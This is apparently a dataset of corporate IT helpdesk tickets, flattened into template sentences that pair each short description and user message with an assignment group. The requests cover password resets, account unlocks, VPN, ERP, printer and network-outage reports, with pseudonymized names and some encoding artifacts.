\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please provide full access to \\HostName\_768\rtr\kcompany, Description: please provide full access to \\HostName\_768\rtr\kcompany, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: password locked, Description:
received from: ebkfwhgt.flapokym@gmail.com
hello,
s.venkbghksh â€“i no-200535 ,login id :sv1 is locked.pl arrange to unlock the same immediately.
pghjkanijkraj.s.s
, is assigned to Assignment group: GRP\_0.Ticket with Short description: browser issue , Description: i cannot access company collaboration\_platform to sign into hr\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not start netweaver, Description: \_x000D\_
\_x000D\_
received from: wsimcqzt.xvwzbdhq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
during to start netweaver, system require net framdntywork 4.5.\_x000D\_
could you please add that on my pc.\_x000D\_
\_x000D\_
[cid:image001.png@01d2038f.0a3ad480]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grugermany / with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation , Description: mobile device activation , is assigned to Assignment group: GRP\_0.Ticket with Short description: istallation of programdntymes into the new cpu, Description: \_x000D\_
\_x000D\_
received from: yxliakph.soucfnqe@gmail.com\_x000D\_
\_x000D\_
we've raised a afe for a new spindle uacyltoe hxgayczerig, wherein this cpu & monitors are to be installed, we are sending the same to you for necessary installation of programdntymes like windows 9 operating system.\_x000D\_
request you to do the same by tomorrow.\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: xjmpacye qgxrptnf cannot send delivery notes via zz\_mails, Description: dear it team, \_x000D\_
my colleague cannot send herself pdfÂ´s out of erp via zz\_mails. \_x000D\_
the problem already exists since some days. \_x000D\_
she already looged off an on from erp and windows, but it stil does not work. \_x000D\_
can you please have a look?\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: printer problem / issue information, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) hr 17 plus hr 14\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? i am receiving an error message window box that states: install driver. when i click to install, it appears that it is working, however, i then get another message that states: the document could not be printed\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) all \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls) \_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: multiple shop floor employees getting locked out of mii in usa ohio, Description: please help unlock the accounts of the following employees
they are currently unable to log into mii and record production / value add
1) keghn zanegtyla : clock# 6654525
2) pfxwuvce hcbmiqdp : clock# 6656800
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to my drive (please check her account), Description: \_x000D\_
\_x000D\_
received from: ybhazlqp.zfghsxiw@gmail.com\_x000D\_
\_x000D\_
hallo it team,\_x000D\_
\_x000D\_
wie verbinde ich mich zu meinen netzlaufwerk, â€žapptc"?\_x000D\_
der zugang ist seit gestern weg.\_x000D\_
\_x000D\_
danke und gruÃŸ,\_x000D\_
ybhazlqp zfghsxiw\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d2038b.SID\_41fdaf0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: additional corrections of sales org 1278 and company address/phone numbers required after germany move, Description: 1. sales organisation address 1278 â€“ phone number and fax number need to be reversed to original phone/fax number from fÃ¼rth. 0911â€¦\_x000D\_
2. plant address plant\_124 â€“ phone /fax numbers need to be adjusted to show germany central phone numbers/fax\_x000D\_
3. company code address of 5278 need to be reverted back! address is in fÃ¼rth not in germany\_x000D\_
\_x000D\_
details are attached to the ticket., is assigned to Assignment group: GRP\_13.Ticket with Short description: setup outlook \ wareneingang \vzqomdgt jwoqbuml, Description: setup outlook \ wareneingang \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: outlook not accepting password : outlook 2010, Description: outlook not accepting password : outlook 2010, is assigned to Assignment group: GRP\_0.Ticket with Short description: .rar file query, Description: .rar file query, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad password reset , Description: ad password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp problem! - SID\_34 - unable to delete customer from personal value list, Description: user "ripfghscp" has accidently added one customer to her personal value list.
now the customer shows up in every sales document as "default" not allowing to search for different customers.
please check and provide a short tutorial how to solve this problem.
daily work is heavily influenced!
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage:barcelona - tesscenter 1:site is hard down since at 5:44 am et on 08/31.no backup on site., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_5:44 am et on 08/31\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_email\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: edit user is not working , Description: edit user hangs forever in the user admin management screen and unable to submit the user assignments., is assigned to Assignment group: GRP\_21.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: access required, Description: \_x000D\_
\_x000D\_
received from: hjkyqecw.ixdsbwoz@gmail.com\_x000D\_
\_x000D\_
pl provided access to folder with all rights \\HostName\_95\mtdesign\company machine manuals<file:///\\HostName\_95\mtdesign\company%20machine%20manuals>.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_12.Ticket with Short description: my sysetem remote access, Description: \_x000D\_
\_x000D\_
received from: utgszjrf.pacfvxzk@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
my system is cant able remote access so me look into that .awyw8328084\_x000D\_
\_x000D\_
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: request for solid works viewer in wrench\_engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: xnzfsmue.kwsazpeu@gmail.com\_x000D\_
\_x000D\_
kindly provide the solid work viewer in wrench\_engineering\_tool to my computer,\_x000D\_
comp name:awyw8911785\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: call from third party to talk to it head to present themselves, Description: call from third party to talk to it head to present themselves, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows user id, Description:
received from: ilbkhgxd.hirsqytd@gmail.com
help desk
please provide the windows user id to below user.
user id : gb3ytu
name : g bfghabu
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi is not working , Description: wifi is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not access to skpye for business, Description: contact phone:497 or 18621, can not access to skpye for business, user name or password wrong, is assigned to Assignment group: GRP\_19.Ticket with Short description: reaktivieren alte laptop hr. mghllenbecfnfk \bctypmjw cbhnxafz, Description: reaktivieren alte laptop hr. mghllenbecfnfk \bctypmjw cbhnxafz, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_728 failed in job\_scheduler at: 08/31/2016 03:44:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_728 failed in job\_scheduler at: 08/31/2016 03:44:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: issue with hr\_tool, Description: \_x000D\_
\_x000D\_
received from: ntuhoafg.bzwefjvk@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please look in to the below screenshot and help to resolve the issue.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20389.31ea5790]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_53.Ticket with Short description: reinstall office2010 \ bctypmjw cbhnxafz, Description: reinstall office2010 \ bctypmjw cbhnxafz, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit EU\_tool \we\_wu106 \xaqzisrk ahbgjrqz, Description: probleme mit EU\_tool \we\_wu106 \xaqzisrk ahbgjrqz, is assigned to Assignment group: GRP\_24.Ticket with Short description: please switch of tr telephony\_software today from 09:30 to 09:45 cet, Description: this is last call meeting that was set up by fhtyulvio and all of them have to participate.
if you are not able to do it, and maybe it is even easier, then please remove any abandon that may take place during these 15 mins
, is assigned to Assignment group: GRP\_7.Ticket with Short description: last login on company laptop, Description: \_x000D\_
\_x000D\_
received from: htnvbwxs.gwfrzuex@gmail.com\_x000D\_
\_x000D\_
good day.\_x000D\_
\_x000D\_
please assist:\_x000D\_
\_x000D\_
please can you check when/who was the last login was on company laptop ekpl8111112?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_65.Ticket with Short description: engineering tool not opening, Description: \_x000D\_
\_x000D\_
received from: vsiemxgh.lgeciroy@gmail.com\_x000D\_
\_x000D\_
dear sir/mam,\_x000D\_
\_x000D\_
kindly refer the below screenshot. my engineering tool is not opening and showing the below error.\_x000D\_
request you to resolve the issue immediately.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20383.bbe2d590]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: missrouting of printouts: check settings if printing invoiuce to printer ag28 / fÃ¼rth and change printer to jc00 / , Description: \_x000D\_
\_x000D\_
received from: tkuivxrn.urdgitsv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
settings in erp SID\_34 system of printing inwarehouse\_tool e.g. 0158047476 are wrong (plant\_168 to plant\_113 shipments).\_x000D\_
\_x000D\_
please change setting to printer jc00, due to no requirement to continue printing these paper in fÃ¼rth = protect the planet.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_13.Ticket with Short description: please change password and pin for the EU\_tool, Description: please change password and pin for the EU\_tool, is assigned to Assignment group: GRP\_59.Ticket with Short description: stock issue for mm 1021381, Description: \_x000D\_
\_x000D\_
received from: rgtoger.lfgtiu@company.com\_x000D\_
\_x000D\_
hello it\_x000D\_
\_x000D\_
please help check the issue below, there are 90pcs stock under plant\_283, but in code: zme2o, there is 0 stock, so can't run the dn. , is assigned to Assignment group: GRP\_29.Ticket with Short description: vpn link , Description: \_x000D\_
\_x000D\_
received from: neoarmgd.meodvbxu@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i am not able to log on to above network with me windows login credentials.\_x000D\_
\_x000D\_
\_x000D\_
please check and resolve, as my work is getting hampered.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ooo : !3.09.2016issues with mailbox " company", Description:
received from: fbyusmxz.kxvmcbly@gmail.com
hello,
i am owner of the common mailbox " company"
i have created a new folder "xxxxx" under the folder inbox for uacyltoe hxgayczeing.
[cid:image001.png@01d2035c.6d1b0e90]
all other members of this shared mailbox can not see the folder "xxxxx" and i can not delete it anymore.
i can click on "delete folder" and get no error message, but the folder is still thereâ€¦
also other members have created folders under the folder inbox â€“ e.g. soedjitv wvprteja (scherfgpd) has created the folder "uacyltoe hxgaycze2".
the folder "uacyltoe hxgaycze2" is only visible for her.
also for me â€“ as the owner â€“ the folder is not visible.
something is wrong with this mailbox.
could you please check.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vfx3 - 1417 - foreign trade data missing, Description: dear it team,\_x000D\_
\_x000D\_
i checked this morning vfx3, unfortunately, there are still 4 entries, where i do not know what to do.\_x000D\_
can you please check?\_x000D\_
inwarehouse\_tool 0158898835: pricing error\_x000D\_
inwarehouse\_tools 0158947538, 0158027980 and 0158027991: i completed the foreign trade data, but the error is still coming. \_x000D\_
\_x000D\_
as we have months end, we need to fix this today.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: ç”µè„‘è¿è¡Œé€Ÿåº¦è¶…çº§æ…¢ï¼Œæ‰“å¼€ä¸€ä¸ªerpæ–°çš„ç•Œé¢å’Œæ‰“å¼€officeæ–‡ä»¶éƒ½éœ€è¦5ç§’é’Ÿä»¥ä¸Šã€‚è½¬è´ºæ­£å¹³, Description:
received from: tuqrvowp.fxmzkvqo@gmail.com
hello team,
ç”µè„‘è¿è¡Œé€Ÿåº¦è¶…çº§æ…¢ï¼Œæ‰“å¼€ä¸€ä¸ªerpæ–°çš„ç•Œé¢å’Œæ‰“å¼€officeæ–‡ä»¶éƒ½éœ€è¦5ç§’é’Ÿä»¥ä¸Šã€‚è½¬è´ºæ­£å¹³
tuqrvowp fxmzkvqo é’±å”é‘«
human resources
tuqrvowp.fxmzkvqo@gmail.com<mailto:tuqrvowp.fxmzkvqo@gmail.com>
, is assigned to Assignment group: GRP\_30.Ticket with Short description: wifi disconnecting, Description: \_x000D\_
\_x000D\_
received from: puxiomgy.ndjorwab@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am puxiomgy ndjorwab from india branch.\_x000D\_
i am facing issue of wi-fi network disconnecting every 5-10 mins when seated at 2nd floor admin building.\_x000D\_
request you to arrange to resolve at the earliest.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: circuit outage:usa nc vpn circuit is down at 12:32 am et on 08/31. site is up on primary circuit., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_12:32 am et on 08/31\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: mii password reset & unlock account, Description: mii password reset & unlock account, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp , Description: unable to login to erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: please process the billing accounting (0372101858) in erp. , Description: please process the billing accounting (0372101858) in erp. , is assigned to Assignment group: GRP\_10.Ticket with Short description: data card, Description: \_x000D\_
\_x000D\_
received from: dwujlnhs.ecxvrpyl@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
i have received new system, but there is no data card along with that.\_x000D\_
kindly arrange to send me data card.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: engineering tool issue, Description: \_x000D\_
\_x000D\_
received from: dwujlnhs.ecxvrpyl@gmail.com\_x000D\_
\_x000D\_
dear sir\_x000D\_
\_x000D\_
i had received new system last week. there was no engineering tool, i downloaded engineering tool but unable to see my old uploaded reports kindly resolve.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: assignment field for edi posting, Description: \_x000D\_
\_x000D\_
received from: ihfkwzjd.erbxoyqk@gmail.com\_x000D\_
\_x000D\_
dear it team\_x000D\_
\_x000D\_
i found that dn number has not been shown on assignment field for edi posting transaction as below. what is the changes or error on this? please confirm\_x000D\_
we need to use dn number to do intercompany reconciliation on the month end process.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d2037a.adf650a0]\_x000D\_
\_x000D\_
[cid:image002.jpg@01d2037a.adf650a0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: kindly replace the mouse as it is not working , Description: kindly replace the mouse as it is not working , is assigned to Assignment group: GRP\_19.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_toolä¸Šä¼ ä¸äº†, Description: æŠ¥è­¦æ˜¾ç¤ºæ²¡æœ‰å»ºç«‹ç½‘ç»œè¿žæŽ¥ï¼Œä½†æ˜¯vpnå·²ç»è¿žæŽ¥ã€‚\_x000D\_
ä¿®æ”¹å®Œå¯†ç ä¹‹åŽå°±ä¸Šä¼ ä¸äº† äº†, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: SID\_1 erp uacyltoe hxgaycze - login issue & password reset., Description: \_x000D\_
\_x000D\_
received from: ilbkhgxd.hirsqytd@gmail.com\_x000D\_
\_x000D\_
help desk\_x000D\_
\_x000D\_
following issue is faced when i was trying to login in SID\_1 erp uacyltoe hxgaycze. please go through below screen shot & do the needful.\_x000D\_
\_x000D\_
[cid:image004.png@01d20366.2d0ed520][cid:image005.png@01d20366.2d0ed520][cid:image003.png@01d20365.ffbcf700]\_x000D\_
\_x000D\_
since i used this system long back i would like to request you to do password reset. please do the needful at the earliest.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset , Description: windows password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: abend batch job Job\_3028 failed in job\_scheduler at: 08/30/2016 22:02:23 , Description: job name:Job\_3028 failed in job\_scheduler, is assigned to Assignment group: GRP\_45.Ticket with Short description: mii password reset & unlock account, Description: mii password reset & unlock account, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_549 failed in job\_scheduler at: 08/30/2016 22:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_549 failed in job\_scheduler at: 08/30/2016 22:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_50filesys failed in job\_scheduler at: 08/30/2016 22:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_50filesys failed in job\_scheduler at: 08/30/2016 22:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: when i create a recurring appointment in mds i get an error record is unavailable, Description: when i create a recurring appointment in mds i get an error record is unavailable. this occurred in uacyltoe hxgaycze. see attachment\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: i paid to vendor (2111101830) in aug.29.2016, but i don't clear this vendor in t-code (f-53)., Description: i paid to vendor (2111101830) in aug.29.2016, but i don't clear this vendor in t-code (f-53). erp show: no open items were found,but it has item in t-code (fbl1n) ., is assigned to Assignment group: GRP\_10.Ticket with Short description: my outlook and skype does not work when i am at home. it only works in the office., Description: name:callie pollaurid
language:
browser:microsoft internet explorer
email:xzupryaf.vlbikhsm@gmail.com
customer number:
telephone:724
summary:my outlook and skype does not work when i am at home. it only works in the office., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype ä¸èƒ½ç™»å½•ï¼Œæç¤ºè¯ä¹¦é”™è¯¯ã€‚, Description: skype ä¸èƒ½ç™»å½•ï¼Œæç¤ºè¯ä¹¦é”™è¯¯ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: system not responding, Description: system not responding, is assigned to Assignment group: GRP\_0.Ticket with Short description: it assistance, Description: \_x000D\_
\_x000D\_
received from: oydlehun.svnfrxdk@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i'm putting up this it ticket on behalf of nzuofeam exszgtwd whose notebook cannot boot up due to hardware failure.\_x000D\_
\_x000D\_
please assist immediately. , is assigned to Assignment group: GRP\_19.Ticket with Short description: multiple display not working, Description: multiple display not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp account unlock, Description: erp account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: tablet not booting, Description: tablet not booting, is assigned to Assignment group: GRP\_0.Ticket with Short description: log in permissions not working. need to change password also. please call me, Description: name:etlfrucw ziewxqof
language:
browser:microsoft internet explorer
email:etlfrucw.ziewxqof@gmail.com
customer number:
telephone:519
summary:log in permissions not working. need to change password also. please call me
ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rakthyesh ramdntythanjesh
hi dartvis
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ä¸»æœºä¸èƒ½å¼€å¯, Description: ä¸»æœºä¸èƒ½å¼€å¯ï¼Œç”µæºç¯æ­£å¸¸ï¼Œä¸»æœºé¢æ¿1ã€3æŒ‡ç¤ºç¯å¸¸äº®, is assigned to Assignment group: GRP\_48.Ticket with Short description: æ‰“å¼€office 2013æ˜¾ç¤ºæ˜¯æœªç»æŽˆæƒäº§å“, Description: æ‰“å¼€outlookã€pptæ˜¾ç¤ºæ˜¯æœªç»æŽˆæƒäº§å“,æœ›è§£å†³ã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: network outage: russia - warehouse network is down since 6:30pm et on 08/30/2016, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_6:30pm et on 08/30/2016\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage at milan, it- divestiture since 8pm et 08/30. site is on primary., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_8pm et 08/30\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: login to mii issue., Description: login to mii issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: email & calendar on my phone, Description: \_x000D\_
\_x000D\_
received from: tjlizqgc.ngvwoukp@gmail.com\_x000D\_
\_x000D\_
i just received a replacement of my company supplied phone. i have set it up but need for it to be given access to my email, contacts and calendar. if this is not the right place to make this request please let me know. , is assigned to Assignment group: GRP\_0.Ticket with Short description: expense report, Description:
received from: ytqhfmwi.itnakpmc@gmail.com
my expense report will not submit to my manager, it only saves. please submit. this has happened on all my expense reports.
[cid:image001.jpg@01d202d8.cf36c3f0]
michjnfyele l. jenhntyns
plant manager
ytqhfmwi.itnakpmc@gmail.com<mailto:ytqhfmwi.itnakpmc@gmail.com>
, is assigned to Assignment group: GRP\_68.Ticket with Short description: folder access for jywvemun qngschtz, Description: from: nwfodmhc exurcwkm \_x000D\_
sent: wednesday, august 31, 2016 2:28 am\_x000D\_
to: naruedlk mpvhakdq\_x000D\_
cc: jywvemun qngschtz; weszfyok fbadnjhu\_x000D\_
subject: re: wg: br reporting - juni und juli-zahlen fÃ¼r zeitkonten und urlaubsstÃ¤nde fehlen\_x000D\_
\_x000D\_
hi simfghon,\_x000D\_
\_x000D\_
kindly note that there are multiple folders under \\eagcldaten\teams\br reporting\\_x000D\_
\_x000D\_
please mention which specific folder access has to be given.\_x000D\_
\_x000D\_
